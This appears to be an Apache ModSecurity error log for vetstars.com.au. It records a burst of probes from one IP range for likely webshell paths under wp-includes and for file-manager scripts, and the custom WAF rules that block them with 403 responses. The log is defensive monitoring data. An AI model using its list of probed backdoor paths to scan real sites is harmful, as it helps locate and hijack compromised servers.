[Wed Apr 22 01:29:06.280038 2026] [:error] [pid 35320:tid 35337] [client 45.137.126.10:49447] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aeez4oJW6fdXWO6agMF3kQAAAAc"]
[Wed Apr 22 01:29:13.687047 2026] [:error] [pid 35321:tid 35386] [client 45.137.126.9:23137] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aeez6TeHLhVUuu8cVXxOawAAAEI"]
[Wed Apr 22 01:29:18.699634 2026] [:error] [pid 35320:tid 35353] [client 45.137.126.9:61073] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aeez7oJW6fdXWO6agMF3wgAAABc"]
[Wed Apr 22 01:29:38.240656 2026] [:error] [pid 35320:tid 35338] [client 45.137.126.30:52719] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aee0AoJW6fdXWO6agMF38wAAAAg"]
[Wed Apr 22 01:29:43.493889 2026] [:error] [pid 35415:tid 35448] [client 45.137.126.29:57211] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aee0B0iqDinI4_22zziOIAAAANU"]
[Wed Apr 22 01:29:46.603377 2026] [:error] [pid 35320:tid 35343] [client 45.137.126.8:33831] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aee0CoJW6fdXWO6agMF3-QAAAA0"]
[Wed Apr 22 01:29:54.761049 2026] [proxy_fcgi:error] [pid 35320:tid 35341] [client 45.137.126.52:25321] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:29:55.252407 2026] [proxy_fcgi:error] [pid 35320:tid 35350] [client 45.137.126.52:25321] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:29:55.739088 2026] [:error] [pid 35320:tid 35353] [client 45.137.126.52:25321] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aee0E4JW6fdXWO6agMF4JwAAABc"]
[Wed Apr 22 01:29:56.713244 2026] [:error] [pid 53731:tid 53747] [client 45.137.126.25:62609] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aee0FF2I9THUR-bRVGzUIwAAAgw"]
[Wed Apr 22 01:30:09.731795 2026] [:error] [pid 54080:tid 54098] [client 45.137.126.4:27297] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aee0IYzEbQHHxtmWbab8-AAAAtA"]
[Wed Apr 22 01:30:12.768321 2026] [:error] [pid 35320:tid 35343] [client 45.137.126.51:39013] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aee0JIJW6fdXWO6agMF4RAAAAA0"]
[Wed Apr 22 01:30:20.039567 2026] [:error] [pid 35321:tid 35388] [client 45.137.126.8:38107] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aee0LDeHLhVUuu8cVXxPFgAAAEQ"]
[Wed Apr 22 01:30:33.764917 2026] [:error] [pid 4777:tid 4811] [client 45.137.126.47:64973] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aee0OaxXur6bykKyLZTLCQAAARc"]
[Wed Apr 22 01:30:34.746362 2026] [proxy_fcgi:error] [pid 35320:tid 35348] [client 45.137.126.13:63801] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:30:36.230364 2026] [:error] [pid 35320:tid 35340] [client 45.137.126.13:63801] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aee0PIJW6fdXWO6agMF4qgAAAAo"]
[Wed Apr 22 01:30:44.297959 2026] [proxy_fcgi:error] [pid 35321:tid 35388] [client 45.137.126.24:59919] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:30:46.737058 2026] [:error] [pid 35321:tid 35405] [client 45.137.126.24:59919] [client 45.137.126.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aee0RjeHLhVUuu8cVXxPMgAAAFU"]
[Wed Apr 22 01:30:55.443645 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.24:59919] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aee0TzeHLhVUuu8cVXxPRAAAAEM"]
[Wed Apr 22 01:30:58.640392 2026] [:error] [pid 35320:tid 35337] [client 45.137.126.37:64557] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aee0UoJW6fdXWO6agMF48gAAAAc"]
[Wed Apr 22 01:31:06.703387 2026] [:error] [pid 35321:tid 35404] [client 45.137.126.34:43891] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aee0WjeHLhVUuu8cVXxPXQAAAFQ"]
[Wed Apr 22 01:31:13.975332 2026] [:error] [pid 53731:tid 53739] [client 45.137.126.26:52957] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aee0YV2I9THUR-bRVGzUgwAAAgQ"]
[Wed Apr 22 01:31:14.973389 2026] [:error] [pid 53978:tid 53991] [client 45.137.126.43:57281] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aee0Yp1ivsR4hcOSQbZ0CwAAAos"]
[Wed Apr 22 01:31:21.974327 2026] [:error] [pid 35322:tid 35364] [client 45.137.126.32:30499] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aee0aaPoAfV40BTfVKzv9AAAAIc"]
[Wed Apr 22 01:31:27.008073 2026] [proxy_fcgi:error] [pid 53978:tid 54003] [client 45.137.126.2:28541] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:31:27.497597 2026] [:error] [pid 53978:tid 54001] [client 45.137.126.2:28541] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aee0b51ivsR4hcOSQbZ0HAAAApU"]
[Wed Apr 22 01:31:28.971179 2026] [:error] [pid 4777:tid 4790] [client 45.137.126.53:62271] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/db.php"] [unique_id "aee0cKxXur6bykKyLZTLGwAAAQI"]
[Wed Apr 22 01:31:29.943592 2026] [:error] [pid 35415:tid 35449] [client 45.137.126.46:22221] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aee0cUiqDinI4_22zziORQAAANY"]
[Wed Apr 22 01:31:30.975302 2026] [:error] [pid 54080:tid 54095] [client 45.137.126.28:47119] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aee0cozEbQHHxtmWbab9MAAAAs0"]
[Wed Apr 22 01:31:31.949931 2026] [:error] [pid 4823:tid 4872] [client 45.137.126.2:52379] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aee0c_c8mke3PfHqsxEj2QAAAZM"]
[Wed Apr 22 01:31:32.950812 2026] [:error] [pid 53978:tid 53999] [client 45.137.126.33:46709] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aee0dJ1ivsR4hcOSQbZ0JQAAApM"]
[Wed Apr 22 01:31:33.946061 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.46:37167] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aee0dYJW6fdXWO6agMF5dQAAAAE"]
[Wed Apr 22 01:31:40.620245 2026] [:error] [pid 53978:tid 54000] [client 45.137.126.41:45625] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aee0fJ1ivsR4hcOSQbZ0NgAAApQ"]
[Wed Apr 22 01:31:41.615913 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.4:21667] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aee0fTeHLhVUuu8cVXxPkgAAAEM"]
[Wed Apr 22 01:31:42.592512 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.21:63769] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aee0fjeHLhVUuu8cVXxPlAAAAEk"]
[Wed Apr 22 01:31:43.562862 2026] [:error] [pid 54080:tid 54091] [client 45.137.126.46:21483] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aee0f4zEbQHHxtmWbab9MwAAAsk"]
[Wed Apr 22 01:31:44.543557 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.15:41083] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aee0gDeHLhVUuu8cVXxPoAAAAEM"]
[Wed Apr 22 01:31:45.535408 2026] [proxy_fcgi:error] [pid 54080:tid 54084] [client 45.137.126.19:30525] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:31:48.645827 2026] [:error] [pid 54080:tid 54102] [client 45.137.126.19:30525] [client 45.137.126.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aee0hIzEbQHHxtmWbab9PAAAAtQ"]
[Wed Apr 22 01:31:54.240605 2026] [:error] [pid 54080:tid 54086] [client 45.137.126.19:30525] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aee0iozEbQHHxtmWbab9RAAAAsQ"]
[Wed Apr 22 01:32:24.317401 2026] [:error] [pid 35321:tid 35400] [client 45.137.126.42:21893] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aee0qDeHLhVUuu8cVXxP8AAAAFA"]
[Wed Apr 22 01:32:25.293660 2026] [:error] [pid 35320:tid 35342] [client 45.137.126.29:61403] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aee0qYJW6fdXWO6agMF6OgAAAAw"]
[Wed Apr 22 01:32:26.264751 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.44:56667] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aee0qoJW6fdXWO6agMF6PAAAAA8"]
[Wed Apr 22 01:32:37.851394 2026] [:error] [pid 53832:tid 53850] [client 45.137.126.33:65439] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aee0tdzkuxsE_OhM9UKbzQAAAk8"]
[Wed Apr 22 01:32:38.825474 2026] [:error] [pid 53731:tid 53737] [client 45.137.126.2:27185] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aee0tl2I9THUR-bRVGzU6wAAAgI"]
[Wed Apr 22 01:32:39.806018 2026] [:error] [pid 35415:tid 35430] [client 45.137.126.10:58645] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aee0t0iqDinI4_22zziOTwAAAMM"]
[Wed Apr 22 01:32:47.441134 2026] [:error] [pid 53978:tid 53985] [client 45.137.126.37:36309] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aee0v51ivsR4hcOSQbZ0iQAAAoU"]
[Wed Apr 22 01:32:50.520592 2026] [:error] [pid 54080:tid 54082] [client 45.137.126.15:43247] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aee0wozEbQHHxtmWbab9ZwAAAsA"]
[Wed Apr 22 01:32:55.565690 2026] [:error] [pid 53832:tid 53844] [client 45.137.126.10:25717] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aee0x9zkuxsE_OhM9UKb2QAAAkk"]
[Wed Apr 22 01:33:12.850045 2026] [:error] [pid 35320:tid 35352] [client 45.137.126.9:35997] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aee02IJW6fdXWO6agMF6pwAAABY"]
[Wed Apr 22 01:33:17.535456 2026] [:error] [pid 35320:tid 35342] [client 45.137.126.44:31725] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/about.php"] [unique_id "aee03YJW6fdXWO6agMF6uAAAAAw"]
[Wed Apr 22 01:33:29.017417 2026] [:error] [pid 35320:tid 35352] [client 45.137.126.5:26291] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aee06YJW6fdXWO6agMF63wAAABY"]
[Wed Apr 22 01:33:33.990834 2026] [:error] [pid 35321:tid 35392] [client 45.137.126.9:42263] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aee07TeHLhVUuu8cVXxQYAAAAEg"]
[Wed Apr 22 01:33:42.954782 2026] [:error] [pid 35321:tid 35397] [client 45.137.126.18:33469] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aee09jeHLhVUuu8cVXxQcwAAAE0"]
[Wed Apr 22 01:33:52.319514 2026] [:error] [pid 35320:tid 35335] [client 45.137.126.4:42111] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aee1AIJW6fdXWO6agMF7IQAAAAU"]
[Wed Apr 22 01:33:57.386926 2026] [:error] [pid 35320:tid 35333] [client 45.137.126.42:47893] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aee1BYJW6fdXWO6agMF7LQAAAAM"]
